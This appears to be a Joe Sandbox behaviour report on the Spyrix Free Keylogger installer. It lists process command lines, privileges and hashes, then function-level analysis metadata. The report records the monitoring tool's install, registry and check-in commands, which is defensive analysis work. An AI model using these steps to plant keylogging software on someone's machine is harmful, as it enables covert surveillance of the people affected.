Commandline:	"regedit.exe" /e "C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.uid" "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1"
Imagebase:	0x120000
File size:	329'728 bytes
MD5 hash:	BD63D72DB4FA96A1E0250B1D36B7A827
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	00:11:23
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"reg.exe" delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1" /f
Imagebase:	0xf50000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	00:11:23
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	00:11:24
Start date:	02/10/2024
Path:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe"
Imagebase:	0x400000
File size:	5'346'216 bytes
MD5 hash:	11ADE4625528B6E7E1601681867E094E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	00:11:24
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs"
Imagebase:	0x710000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	00:11:24
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c plist.cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	56
Start time:	00:11:25
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	00:11:25
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 65001
Imagebase:	0xe30000
File size:	12'800 bytes
MD5 hash:	20A59FB950D8A191F7D35C4CA7DA9CAF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	00:11:25
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout 20
Imagebase:	0x450000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	00:11:25
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.cmd" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	00:11:25
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	00:11:25
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout 6
Imagebase:	0x450000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	00:11:28
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c netstat.exe -e > "C:\Users\user\AppData\Local\Temp\nse"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	00:11:28
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	00:11:28
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\NETSTAT.EXE
Wow64 process (32bit):	true
Commandline:	netstat.exe -e
Imagebase:	0x7c0000
File size:	32'768 bytes
MD5 hash:	9DB170ED520A6DD57B5AC92EC537368A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	00:11:31
Start date:	02/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://dashboard.spyrix.com/
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	66
Start time:	00:11:32
Start date:	02/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1936,i,1509766979292889431,16591483089158193991,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	67
Start time:	00:11:37
Start date:	02/10/2024
Path:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_StartButton_EE7E4705DD4AC06ADFE650C2CDC39BDD https://spyrix.net/dashboard/prg-actions
Imagebase:	0xd10000
File size:	3'588'216 bytes
MD5 hash:	D9EA512EE580ECFFEE587A4C3759527F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	00:11:37
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	00:11:40
Start date:	02/10/2024
Path:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_Start_EE7E4705DD4AC06ADFE650C2CDC39BDD https://spyrix.net/dashboard/prg-actions
Imagebase:	0xd10000
File size:	3'588'216 bytes
MD5 hash:	D9EA512EE580ECFFEE587A4C3759527F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	00:11:40
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	00:11:40
Start date:	02/10/2024
Path:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Run_First_EE7E4705DD4AC06ADFE650C2CDC39BDD https://spyrix.net/dashboard/prg-actions
Imagebase:	0x7ff71e800000
File size:	3'588'216 bytes
MD5 hash:	D9EA512EE580ECFFEE587A4C3759527F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	00:11:40
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	00:11:40
Start date:	02/10/2024
Path:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe" "Spyrix Free Keylogger 11.6.22"
Imagebase:	0x400000
File size:	2'012'072 bytes
MD5 hash:	C0E67E8723775249CA0AE2C52E7EDD9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000049.00000000.2712353086.0000000000401000.00000020.00000001.01000000.00000018.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	74
Start time:	00:11:42
Start date:	02/10/2024
Path:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_wizard_Start_EE7E4705DD4AC06ADFE650C2CDC39BDD https://spyrix.net/dashboard/prg-actions
Imagebase:	0xd10000
File size:	3'588'216 bytes
MD5 hash:	D9EA512EE580ECFFEE587A4C3759527F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	00:11:42
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	00:11:46
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c exit 83
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	00:11:46
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c exit 112
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	00:11:46
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c exit 121
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	00:11:46
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c exit 114
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	00:11:46
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c exit 105
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	00:11:46
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c exit 120
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	00:11:46
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	TASKLIST /FI "IMAGENAME eq spm.exe" /FO CSV /NH
Imagebase:	0x470000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	83
Start time:	00:11:46
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\find.exe
Wow64 process (32bit):	true
Commandline:	find "spm"
Imagebase:	0xd70000
File size:	14'848 bytes
MD5 hash:	15B158BC998EEF74CFDD27C44978AEA0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	84
Start time:	00:11:47
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	TASKLIST /FI "IMAGENAME eq sem.exe" /FO CSV /NH
Imagebase:	0x470000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	85
Start time:	00:11:47
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\find.exe
Wow64 process (32bit):	true
Commandline:	find "sem"
Imagebase:	0xd70000
File size:	14'848 bytes
MD5 hash:	15B158BC998EEF74CFDD27C44978AEA0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	86
Start time:	00:11:47
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	TASKLIST /FI "IMAGENAME eq spkl.exe" /FO CSV /NH
Imagebase:	0x470000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	87
Start time:	00:11:47
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\find.exe
Wow64 process (32bit):	true
Commandline:	find "spkl"
Imagebase:	0xd70000
File size:	14'848 bytes
MD5 hash:	15B158BC998EEF74CFDD27C44978AEA0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	88
Start time:	00:11:48
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	TASKLIST /FI "IMAGENAME eq clv.exe" /FO CSV /NH
Imagebase:	0x470000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	89
Start time:	00:11:48
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\find.exe
Wow64 process (32bit):	true
Commandline:	find "clv"
Imagebase:	0xd70000
File size:	14'848 bytes
MD5 hash:	15B158BC998EEF74CFDD27C44978AEA0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	12%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	9.7%
Total number of Nodes:	392
Total number of Limit Nodes:	18

Executed Functions

Function 0A2F2BF8 Relevance: 4.1, Strings: 3, Instructions: 361
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 0A2F2F65
(&^q, xrefs: 0A2F30C1
, xrefs: 0A2F2E8C

Memory Dump Source

Source File: 00000006.00000002.1987005248.000000000A2F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A2F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a2f0000_[space]= .jbxd

Similarity

API ID:
String ID: $(&^q$Hbq
API String ID: 0-2305312159
Opcode ID: 2eb742977ad8ef14cd6a023baadf082d872fb78f6bc9dbc23ed1e52c5e43216c
Instruction ID: 23fad9d7e52dcbc05ed299a4a5c41792d4caf9bcb0e353ab301fbbad85f1fbcb
Opcode Fuzzy Hash: 2eb742977ad8ef14cd6a023baadf082d872fb78f6bc9dbc23ed1e52c5e43216c
Instruction Fuzzy Hash: 40D14971A1020ADFDB14DF69C844AAEBBF6FF88300B108939E515EB254DB35E945CB90

Function 051F6E60 Relevance: 1.7, Strings: 1, Instructions: 456
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D, xrefs: 051F72D5

Memory Dump Source

Source File: 00000006.00000002.1985326004.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51f0000_[space]= .jbxd

Similarity

API ID:
String ID: D
API String ID: 0-2746444292
Opcode ID: 95ecdadb4840f45074f83b484deea4989e2785ba7864cf30aecceb9f3a4e1dd4
Instruction ID: ea910769c0b662151d0fc52f0f4457ffa3f9e62f0b47c9d92e9f6d72f82ac760
Opcode Fuzzy Hash: 95ecdadb4840f45074f83b484deea4989e2785ba7864cf30aecceb9f3a4e1dd4
Instruction Fuzzy Hash: B7124934B10644CFCB05EF74C898A99B7B2FF89304F1589B9D9059F36ADB35A885CB90

Function 051F6E90 Relevance: 1.7, Strings: 1, Instructions: 436COMMON

Download Yara Rule

Strings

D, xrefs: 051F72D5

Memory Dump Source

Source File: 00000006.00000002.1985326004.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51f0000_[space]= .jbxd

Similarity

API ID:
String ID: D
API String ID: 0-2746444292
Opcode ID: 597fac9b100484c5760a97bb442cbb7923f615955439ba17e0afdbb5ffc4764e
Instruction ID: ca0f770e4f842d38815731d65ce7d24ffc7b5a7f932ce57ba19d5135e396881e
Opcode Fuzzy Hash: 597fac9b100484c5760a97bb442cbb7923f615955439ba17e0afdbb5ffc4764e
Instruction Fuzzy Hash: F4122734B00644CFCB05EF74C898A99B7B2FF89305F1585B8D905AF36ADB35A985CB90

Function 0A2FAFC8 Relevance: 1.6, Strings: 1, Instructions: 347COMMON

Download Yara Rule

Strings

J!., xrefs: 0A2FB1B3

Memory Dump Source

Source File: 00000006.00000002.1987005248.000000000A2F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A2F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a2f0000_[space]= .jbxd

Similarity

API ID:
String ID: J!.
API String ID: 0-129018784
Opcode ID: 1a4f5d37b2df0d7dab2e4043c958e7e3d2bba2a53885462b5880b4d653f2af1c
Instruction ID: ca7c8272728be6a8327a90eec09ff5155bd49980d8728664921ac1964d0a57f4
Opcode Fuzzy Hash: 1a4f5d37b2df0d7dab2e4043c958e7e3d2bba2a53885462b5880b4d653f2af1c
Instruction Fuzzy Hash: AED18A717107058FDB1ADB79C460B6EB7E7AF89740F2488B9D286DB2A0CB35E901CB51

Function 0A2F00C0 Relevance: .4, Instructions: 366COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1987005248.000000000A2F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A2F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a2f0000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a075475ba107e93dfb001778f60bc77414c6263a17beece849b3312aaeab5c67
Instruction ID: 246f392175aee9c95ea4d8e4f6f5a9da59038bd3d1bcd8883a7af34e368c35c2
Opcode Fuzzy Hash: a075475ba107e93dfb001778f60bc77414c6263a17beece849b3312aaeab5c67
Instruction Fuzzy Hash: 2BE13B30A14209CFDB14DFA9C948BADFBF1BF48304F158575E909AB266EBB4A945CF40

Function 02B3ADF0 Relevance: 1.7, APIs: 1, Instructions: 197COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 02B3B046

Memory Dump Source

Source File: 00000006.00000002.1983927278.0000000002B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b30000_[space]= .jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 21a144a65a77c43d663dcfc709323b5f6fb039a5ff06678f9db7357c03c9d037
Instruction ID: d0c4f62501ceb43eb2fce0e66ef0487f5cf38efb1d1a03c19e150e2d638618b4
Opcode Fuzzy Hash: 21a144a65a77c43d663dcfc709323b5f6fb039a5ff06678f9db7357c03c9d037
Instruction Fuzzy Hash: F6714270A00B058FD725DF29D58079ABBF1FF88304F20896DD08ADBA50DB78E949CB90

Function 051FE346 Relevance: 1.6, APIs: 1, Instructions: 131COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000014,?,?,03D24118,02D6C3A4,?,00000000), ref: 051FE446

Memory Dump Source

Source File: 00000006.00000002.1985326004.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51f0000_[space]= .jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: fa20c48ae1f5d604172549f3f078d855cc4bd6a67d66998069030053e686a475
Instruction ID: dbf38f3250752b08ccab9077d1ecd2b04bc49be5965079756f15b5f85a12920d
Opcode Fuzzy Hash: fa20c48ae1f5d604172549f3f078d855cc4bd6a67d66998069030053e686a475
Instruction Fuzzy Hash: DA517C74A01208EFCB55DFA9D888DAEBBB6BF48714B114098FA05AB361D731EC81CF50

Function 051F0BFC Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 051F4371

Memory Dump Source

Source File: 00000006.00000002.1985326004.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51f0000_[space]= .jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 0fc05ac725b27217cbe3484bf2b2c0a0b03a7220a0313433415c82e679fdd4bc
Instruction ID: aef7a40119c1d0fab6c9c90f9f9fbf9ec07f0b5b014d2c1039f62983c66ea6ec
Opcode Fuzzy Hash: 0fc05ac725b27217cbe3484bf2b2c0a0b03a7220a0313433415c82e679fdd4bc
Instruction Fuzzy Hash: B14105B49002198FDB14CF99C488EAABBF6FB88314F25C459E519AB321D774A841CBA0

Function 02B3449C Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 02B359A9

Memory Dump Source

Source File: 00000006.00000002.1983927278.0000000002B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b30000_[space]= .jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 0f3584907f831bc265a22bcbd92c3c554edb763af22bb1c8917a248e7fea7ad0
Instruction ID: 4c0c760cfd48aec09fce2eff80b307e77c2cb48b0229317f6dbf7efb992398f6
Opcode Fuzzy Hash: 0f3584907f831bc265a22bcbd92c3c554edb763af22bb1c8917a248e7fea7ad0
Instruction Fuzzy Hash: 7F41D2B0C00619CBDB24DFA9C9847DEBBB5FF48304F6080AAD418AB255DB756949CF90

Function 02B358ED Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 02B359A9

Memory Dump Source

Source File: 00000006.00000002.1983927278.0000000002B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b30000_[space]= .jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 20e9b32cacf0aadb35b11651c6fd8feca07a53f4024def626f5304dba53bdc96
Instruction ID: c520dc4afd92f731ef32e5e5bb4acc06dfafda1e5d044e7a1aafd7f0824ba8a2
Opcode Fuzzy Hash: 20e9b32cacf0aadb35b11651c6fd8feca07a53f4024def626f5304dba53bdc96
Instruction Fuzzy Hash: ED4112B0C00719CEDB24DFA9C8847CDBBB5BF49304F24819AD058AB261DB756989CF90

Function 052FB9E4 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,052FD485,?,?), ref: 052FD537

Memory Dump Source

Source File: 00000006.00000002.1985468058.00000000052F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_52f0000_[space]= .jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: dd458d846e082bbc491c6a42d25a60eb97bd86d57e6b103c76a8fa1a735c7fb6
Instruction ID: 004252e0b9e02c475a1084a20941adcb5b8203d81e08a29f0bf7d2085d4f4952
Opcode Fuzzy Hash: dd458d846e082bbc491c6a42d25a60eb97bd86d57e6b103c76a8fa1a735c7fb6
Instruction Fuzzy Hash: B131E3B59102499FDB10CF9AD884ADEFBF5FF48324F54842AE919A7210D374A940CFA4

Function 052FD498 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

